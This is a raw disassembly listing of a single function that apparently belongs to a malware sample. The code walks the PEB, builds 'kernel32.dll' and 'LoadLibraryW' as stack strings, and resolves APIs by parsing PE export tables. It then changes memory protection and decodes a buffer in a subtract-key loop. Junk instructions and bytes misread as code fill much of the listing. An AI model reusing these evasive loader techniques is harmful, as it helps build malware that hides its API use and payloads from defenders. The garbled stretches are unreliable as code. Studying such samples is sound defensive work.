Function at 0x406fc0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
dec edi
push eax
dec esi
dec ebp
inc ebx
xor eax, 0x5904c483
push ecx
and ecx, 0xfafa
add byte [ecx - 0x7d], bl
mov ebp, 0xffffeaf4
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2a8], 0
jmp 0x406d11
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ecx
or ecx, 0xf615
test byte [eax], 0
xor ecx, 0x8267
pop ecx
push edx
xor edx, 0x6c9
add byte [ecx + 0x166b7f2], al
add al, ch
or byte [eax], al
add byte [eax], al
add byte [esi], dh
cmp byte [edx + 0x3c], al
cmp byte [edx + 0x50], al
add esp, 4
xor edx, 0x11729
pop edx
cmp dword [ebp - 0xc4c], 0
jne 0x406ac6
mov dword [ebp - 0x2a8], 0
jmp 0x406d11
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push eax
push edi
add esp, 4
or eax, 0x112c1
call 0x406ae9
add byte [eax], bh
aas
inc esp
aaa
cmp dword [ecx - 0x7d], eax
les eax, [ecx + eax*4]
call fcn.004156e8
pop eax
push edx
push edx
add esp, 4
sub edx, 0x175d5
jmp 0x406b03
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
sub edi, 0x34e0
add edi, 0x35b1
sub edi, 0x67f1
pop edi
push ecx
jmp 0x406b4b
or ecx, 0x130b2
add ecx, 0x29c8
jmp 0x406b5f
pop ecx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ecx
push edi
add esp, 4
or ecx, 0x21e0
pop ecx
push ecx
sub ecx, 0x12594
add ecx, 0x15654
add ecx, 0x100ca
and ecx, 0x2ca2
pop ecx
push ecx
push edi
add esp, 4
and ecx, 0x32c2
pop ecx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x406c06
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x406c60
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x406b2e
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x406b2e
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x406c4a
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x406c54
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x406ca9
push ebx
push edi
add esp, 4
or ebx, 0xf2a6
pop ebx
push edx
push edx
add esp, 4
jmp 0x406c80
add edx, 0x14589
pop edx
push edx
add edx, 0xd25a
add edx, 0x13b0d
and edx, 0x16529
pop edx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x406d11
push edx
add edx, 0x1037a
or edx, 0x108d8
pop edx
push eax
push ebx
add esp, 4
call 0x406ccb
add byte [ecx], bh
xor al, 0x36
inc edx
xor eax, 0x39465044
add esp, 4
xor eax, 0x123f3
or eax, 0x78ae
pop eax
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x406d07
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x406ad2
mov dword [ebp - 0x2a8], 0
push ebx
call 0x406d22
add byte [ecx + 0x48], cl
cmp byte [eax + 0x3c], al
dec esi
inc edi
dec esi
inc eax
add esp, 4
sub ebx, 0xed13
or ebx, 0x16091
call 0x406d3f
add byte [esi], dh
dec edx
inc esp
inc esp
inc eax
xor al, 0x4a
push eax
add esp, 4
pop ebx
cmp dword [ebp - 0x2a8], 0
jne 0x407648
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
xor ecx, 0x1031b
and ecx, 0x6416
sub ecx, 0x16231
pop ecx
push eax
push ecx
add esp, 4
xor eax, 0x28b5
or eax, 0x12ec7
xor eax, 0xf781
add eax, 0x14b63
pop eax
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push esi
push ecx
add esp, 4
xor esi, 0x311c
call 0x406eb8
add byte [ecx + 0x34], cl
inc eax
dec edi
xor eax, 0x4d4a4640
add esp, 4
pop esi
push esi
push edx
add esp, 4
and esi, 0xd0e5
pop esi
push ebx
or ebx, 0x2dce
pop ebx
cmp dword [ebp - 0x1518], 0
jne 0x406ee8
mov dword [ebp - 0x710], 0
jmp 0x40718f
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ebx
push ebx
add esp, 4
add ebx, 0x2097
add ebx, 0x13cdb
call 0x406f1b
add byte [ebx + 0x38], al
inc eax
cmp eax, 0x37485037
cmp eax, 0x4c4833f
add ebx, 0x1456e
pop ebx
push edi
jmp 0x406f2b
pop edi
cmp dword [ebp - 0xc58], 0
jne 0x406f44
mov dword [ebp - 0x710], 0
jmp 0x40718f
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ecx
xor ecx, 0x126c6
pop ecx
push ebx
push ecx
add esp, 4
and ebx, 0x69cf
sub ebx, 0xc7a6
jmp 0x406f6f
sub ebx, 0x2d60
pop ebx
push ecx
push edi
add esp, 4
add ecx, 0x7d6e
pop ecx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push eax
xor eax, 0xda7b
call 0x406fc0
add byte [edx + 0x34], al
aas
cmp al, 0x47
inc edx
xor al, 0x83
les eax, [ecx + eax*4]
shl byte [0x580000e8], 0x56
sub esi, 0x158ab
pop esi
push esi
push ebx
add esp, 4
and esi, 0x199e
pop esi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edx
add edx, 0xa599
and edx, 0x17b08
or edx, 0x13a6d
add edx, 0x54b9
pop edx
push edi
push ecx
add esp, 4
xor edi, 0x718d
and edi, 0x4d30
add edi, 0x2595
pop edi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x407084
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4070de
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x406fac
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x406fac
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4070c8
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4070d2
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x407127
push ebx
push eax
add esp, 4
xor ebx, 0x1d86
sub ebx, 0xed2d
or ebx, 0x1830c
or ebx, 0x12fe4
pop ebx
push ebx
or ebx, 0x3c61
xor ebx, 0x3db9
add ebx, 0x14371
pop ebx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x40718f
push eax
push edi
add esp, 4
jmp 0x407133
xor eax, 0x8c0a
and eax, 0x8fe6
and eax, 0xfd89
pop eax
push edx
push ecx
add esp, 4
jmp 0x407152
add edx, 0xbba2
pop edx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x407185
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x406f50
mov dword [ebp - 0x710], 0
push ecx
push edx
add esp, 4
or ecx, 0xff39
pop ecx
push ecx
push ecx
add esp, 4
and ecx, 0x10f45
pop ecx
push eax
xor eax, 0xd34d
jmp 0x4071b3
invalid
xor eax, 0xa0b0
jmp 0x4071c0
pop eax
cmp dword [ebp - 0x710], 0
jne 0x40720b
push edi
push esi
add esp, 4
call 0x4071db
add byte [eax + 0x40], cl
inc eax
aas
inc eax
add esp, 4
jmp 0x4071e4
pop edi
push ebx
call 0x4071f2
add byte [esi], dh
dec esi
dec esp
inc ecx
aas
cmp eax, dword [ebx - 0x147efb3c]
jbe 0x4071a9
add byte [eax], al
pop ebx
mov dword [ebp - 0xa58], 0
jmp 0x407d33
push edi
push esi
add esp, 4
sub edi, 0x4f4a
and edi, 0xcfe6
or edi, 0x13e34
or edi, 0x171f3
pop edi
push esi
add esi, 0x10f63
jmp 0x407236
xor esi, 0xae8e
pop esi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x40727c
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40756d
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x4072a4
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40756d
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x4072d6
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x40756d
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x4072fb
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x40756d
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x407355
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x407561
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x4073c5
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x407477
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x407477
push edi
push edx
add esp, 4
or edi, 0x4017
jmp 0x407404
add edi, 0x13f5f
jmp 0x407411
pop edi
push ebx
push edx
add esp, 4
or ebx, 0x1a3d
add ebx, 0x150ae
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x407469
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x407470
jmp 0x4073b6
jmp 0x407477
push edi
push edi
add esp, 4
xor edi, 0x16af8
pop edi
push esi
sub esi, 0xcca4
or esi, 0x571f
or esi, 0xac0a
xor esi, 0x10e63
pop esi
push ebx
push edx
add esp, 4
or ebx, 0x1865e
pop ebx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x4074d6
mov dword [ebp - 0xc5c], 0
jmp 0x407545
push edx
or edx, 0x31ab
pop edx
push edi
push esi
add esp, 4
sub edi, 0xf37
pop edi
push ecx
push ebx
add esp, 4
and ecx, 0x17d26
or ecx, 0x84f2
sub ecx, 0x128aa
add ecx, 0x3875
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x40753b
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x407545
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x40755c
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x40756d
jmp 0x407346
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x407648
push edx
jmp 0x407584
call 0x407591
add byte [ecx + 0x4a], al
aas
dec ebp
cmp dh, byte [edi]
inc ecx
add esp, 4
call 0x4075a2
add byte [0x494a3837], dh
inc esp
dec edx
inc edx
add esp, 4
xor edx, 0xb61
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
xor edx, 0xd8e3
jmp 0x4075c5
and edx, 0xf866
pop edx
push eax
jmp 0x4075d6
xor eax, 0x12da2
add eax, 0x11940
jmp 0x4075e9
pop eax
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x407648
push ebx
add ebx, 0x13150
jmp 0x407616
call 0x407625
add byte [edi + 0x3f], cl
dec edx
push eax
dec ebp
inc edx
inc esp
inc eax
xor eax, dword [ebx + 0x6eb04c4]
xor eax, 0x3b4d3e4c
dec eax
pop ebx
push edi
xor edi, 0x9c66
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x407d33
push eax
push ecx
add esp, 4
add eax, 0x1727c
sub eax, 0x95e3
pop eax
push ecx
push ecx
add esp, 4
and ecx, 0x2d5
pop ecx
push eax
call 0x407676
add byte [0x4c394a3e], dh
aas
dec esi
inc ebp
dec esi
add esp, 4
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edx
add edx, 0x9b0a
call 0x4076b8
add byte [edi + 0x3b], al
aaa
cmp cl, byte [ebx + 0x3c]
cmp al, 0x3e
dec esi
add esp, 4
add edx, 0x14756
call 0x4076d0
add byte [edi + ecx*2 + 0x3b], cl
inc ecx
inc edx
dec ecx
cmp eax, 0xc4834a4b
add al, 0x5a
cmp dword [ebp - 0x1574], 0
jne 0x4076ec
mov dword [ebp - 0x2a8], 0
jmp 0x407993
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edx
and edx, 0x1677a
add edx, 0x13793
sub edx, 0x1227c
pop edx
push edx
push edx
add esp, 4
jmp 0x40771c
add edx, 0x28bd
and edx, 0x15bd6
jmp 0x40772f
pop edx
cmp dword [ebp - 0xc68], 0
jne 0x407748
mov dword [ebp - 0x2a8], 0
jmp 0x407993
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push edx
push edi
add esp, 4
call 0x407767
add byte [ebx + 0x43], al
inc eax
xor ecx, dword [eax + 0x37]
inc edx
xor eax, dword [ebx - 0x1d7efb3c]
and byte [edx - 0x1d7f0000], al
mov bl, 0x1a
add dword [eax], eax
call 0x407782
add byte [ebp + 0x40], cl
cmp eax, 0xc4835032
add al, 0x5a
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push esi
push edx
add esp, 4
sub esi, 0x1b5b
xor esi, 0x126d0
pop esi
push ecx
push edi
add esp, 4
or ecx, 0x6189
jmp 0x4077d5
sub ecx, 0x7b19
or ecx, 0x13c9c
pop ecx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ebx
push ecx
add esp, 4
add ebx, 0x186e
pop ebx
push esi
xor esi, 0xf29
or esi, 0xde56
add esi, 0x13f67
call 0x407867
add byte [ebx + 0x34], al
inc ebp
dec esi
xor edi, dword [ebx]
inc edx
dec esi
cmp eax, 0x5e04c483
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x407888
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x4078e2
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x4077b0
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x4077b0
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x4078cc
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x4078d6
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x40792b
push edi
and edi, 0x11f6b
pop edi
push esi
sub esi, 0x79e9
pop esi
push esi
and esi, 0x161d9
and esi, 0xfec
or esi, 0x15767
pop esi
push ecx
add ecx, 0xe028
add ecx, 0x10bdb
pop ecx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x407993
push edi
push ebx
add esp, 4
call 0x40793c
add byte [eax], bh
dec ebx
cmp bh, byte [edi + eax*2]
dec esp
add esp, 4
call 0x40794d
add byte [edi + esi], bh
push eax
inc esp
xor eax, 0xc483494f
add al, 0x81
iretd
push edx
sub edx, 0x14524
add edx, 0x1144c
and edx, 0x30a3
pop edx
push esi
push eax
add esp, 4
jmp 0x4079b2
or esi, 0xb898
xor esi, 0x8ebf
or esi, 0x17fa8
pop esi
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ebx
or ebx, 0x15a91
pop ebx
push esi
or esi, 0x128d2
pop esi
push edx
jmp 0x4079eb
xor edx, 0x75a0
pop edx
push eax
sub eax, 0x14da9
sub eax, 0x1f5c
or eax, 0x45a9
pop eax
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x407a36
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x407d27
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x407a5e
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x407d27
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x407a90
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x407d27
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x407ab5
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x407d27
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x407b0f
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x407d1b
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x407b7f
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x407c31
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x407c31
push ebx
push ebx
add esp, 4
and ebx, 0xf4e9
and ebx, 0x3fc8
jmp 0x407bc5
pop ebx
push ebx
call 0x407bd4
add byte [edx + 0x37], al
cmp dword [0x833c404e], edi
les eax, [ecx + eax*4]
jmp 0x407c58
push ecx
push ebx
add esp, 4
jmp 0x407c3e
add ecx, 0xfcd8
pop ecx
push edx
push edx
add esp, 4
add edx, 0x3638
add edx, 0x2621
or edx, 0x17eff
and edx, 0x10863
pop edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x407c90
invalid
mov dword [ebp - 0xc6c], 0
jmp 0x407cff
push edx
push edx
add esp, 4
sub edx, 0x921
jmp 0x407ca4
and edx, 0x6852
call 0x407cb6
add byte [ebp + 0x49], cl
xor edi, dword [esi]
inc ebp
inc ebx
add esp, 4
pop edx
push ebx
xor ebx, 0x14910
pop ebx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x407cf5
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x407cff
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x407d16
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x407d27
jmp 0x407b00
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edx
or edx, 0xfd3e
jmp 0x407d42
and edx, 0xafb0
call 0x407d55
add byte [ebx], dh
aaa
dec ecx
inc edi
inc edx
dec eax
xor al, 0x83
les eax, [edx + ebx*2]
push edi
push edi
add esp, 4
or edi, 0xf88c
pop edi
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x407dd8
push esi
push edx
add esp, 4
or esi, 0xcf30
and esi, 0x478c
sub esi, 0x15f6e
or esi, 0x4b6a
pop esi
push ecx
and ecx, 0x7be9
and ecx, 0x63d3
xor ecx, 0x15676
pop ecx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x407df5
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x407e51
push ecx
push edi
add esp, 4
sub ecx, 0x14457
add ecx, 0xdd57
xor ecx, 0x17c82
pop ecx
push ecx
sub ecx, 0x917c
add ecx, 0x2edd
jmp 0x407e2e
sub ecx, 0x28e8
pop ecx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x407de6
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x407ec9
push ebx
add ebx, 0x6b05
call 0x407e99
add byte [ebp + 0x35], al
dec edx
inc esi
dec esp
xor al, 0x4f
dec edx
add esp, 4
or ebx, 0x6486
pop ebx
push esi
push eax
add esp, 4
or esi, 0xb57f
xor esi, 0x8375
pop esi
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push edx
push ecx
add esp, 4
and edx, 0xa920
jmp 0x407edc
add edx, 0xb847
pop edx
push ecx
push ecx
add esp, 4
add ecx, 0x5bf6
sub ecx, 0x7886
or ecx, 0xf867
pop ecx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff01ff
pop ecx
push edi
in al, dx
add eax, 0x374c473c
in al, dx
or byte [esp + esi], dh
dec edi
dec ebx
aas
dec esi
inc esi
or bh, 0xf1
add al, byte cs:[ecx]
pop edi
push ebx
push ebx
test ch, al
add eax, 0x4bb4c382
add dword [ecx], eax
jmp 0x1418038